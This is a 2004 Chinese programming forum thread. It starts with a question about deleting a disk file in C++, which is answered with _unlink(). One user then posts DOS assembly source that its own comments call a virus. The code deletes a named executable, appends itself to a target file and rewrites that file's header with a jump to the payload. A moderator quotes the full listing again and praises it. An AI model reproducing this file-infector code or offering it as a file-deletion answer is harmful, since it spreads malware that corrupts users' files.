| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 2400 人关注过本帖
标题:请问在c++ 里有没有删除磁盘文件的函数?
只看楼主 加入收藏
xinghgrance
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2004-12-8
收藏
 问题点数:0 回复次数:9 
请问在c++ 里有没有删除磁盘文件的函数?
我需要在程序中生成临时文件,用后就将它删除,请问可有这方面函数。
搜索更多相关主题的帖子: 函数 磁盘 文件 删除 
2004-12-08 22:22
live41
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:67
帖 子:12442
专家分:0
注 册:2004-7-22
收藏
得分:0 
有,但我不知道,查API函数表,一般API的查询都在VB的书上,C++的书很少,其实是一样的用法。
2004-12-09 00:08
xinghgrance
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2004-12-8
收藏
得分:0 

哈哈,找到了

_unlink( ) —— 删除一个文件。假如你要使用此函数,需要在你的程序中包含io.h头文件。

2004-12-09 09:38
live41
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:67
帖 子:12442
专家分:0
注 册:2004-7-22
收藏
得分:0 

强啊,我想问io.h在VC里面有没有?

2004-12-09 09:59
hc3256
Rank: 1
等 级:新手上路
帖 子:6
专家分:0
注 册:2004-12-15
收藏
得分:0 

用汇编编的可以删除文件,写文件的。

CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处

vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 MOV DX,SI MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI,BP ;定位到文件头 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,40h ;将新的文件头写入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ;关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB 'M',0e9h,0,0 filename DB "test.txt",0 delname DB "d:\huibian\chengxu\huang2.exe",0 message DB "ni hao !" DB 0dh,0ah,"$" vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start


2004-12-15 13:59
BlueDreame
Rank: 1
等 级:新手上路
帖 子:545
专家分:2
注 册:2004-12-16
收藏
得分:0 
强啊,不过还是用C++提供的函数最好。

2004-12-16 19:57
yms123
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:209
帖 子:12488
专家分:19042
注 册:2004-7-17
收藏
得分:0 
以下是引用hc3256在2004-12-15 13:59:42的发言:

用汇编编的可以删除文件,写文件的。

CSEG SEGMENT ASSUME CS:CSEG,DS:CSEG,SS:CSEG main PROC NEAR mainstart: CALL vstart ;病毒的代码开始处

vstart: POP SI ;得到当前地址 MOV BP,SI ;保存当前地址 PUSH SI MOV AH,9 ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 MOV DI,100h ;目的地址 MOV AX,DS:[SI] ;开始复制 MOV DS:[DI],AX INC SI INC SI INC DI INC DI MOV AX,DS:[SI] MOV DS:[DI],AX MOV SI,BP ;恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOV AL,02 MOV AH,3dh ;写文件 INT 21h JC error MOV BX,AX ;文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 ADD DX,SI MOV CX,4 MOV AH,3fh INT 21h MOV AX,4202h ;到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 ADD DI,2 ADD DI,SI SUB AX,4 MOV DS:[DI],AX ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 MOV DX,SI MOV vsizes,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI,BP ;定位到文件头 MOV AL,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,40h ;将新的文件头写入 MOV CX,4 MOV DX,OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ;关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte: RET DB 3 DUP (?) vsizes DW 0 new4byte DB 'M',0e9h,0,0 filename DB "test.txt",0 delname DB "d:\huibian\chengxu\huang2.exe",0 message DB "ni hao !" DB 0dh,0ah,"$" vends: start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start

厉害,看来要想做到真正的计算机程序无敌不仅高级语言要会写,汇编也要精通才是王道。

2004-12-18 00:15
风中涟漪
Rank: 1
等 级:新手上路
帖 子:234
专家分:0
注 册:2004-8-9
收藏
得分:0 
5楼的朋友,怎么选择路径?

2004-12-19 01:16
hc3256
Rank: 1
等 级:新手上路
帖 子:6
专家分:0
注 册:2004-12-15
收藏
得分:0 

就这个,调用dos功能就可以了

filename DB "test.txt",0 delname DB "d:\huibian\chengxu\huang2.exe",0


2004-12-19 11:55
快速回复:请问在c++ 里有没有删除磁盘文件的函数?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016363 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved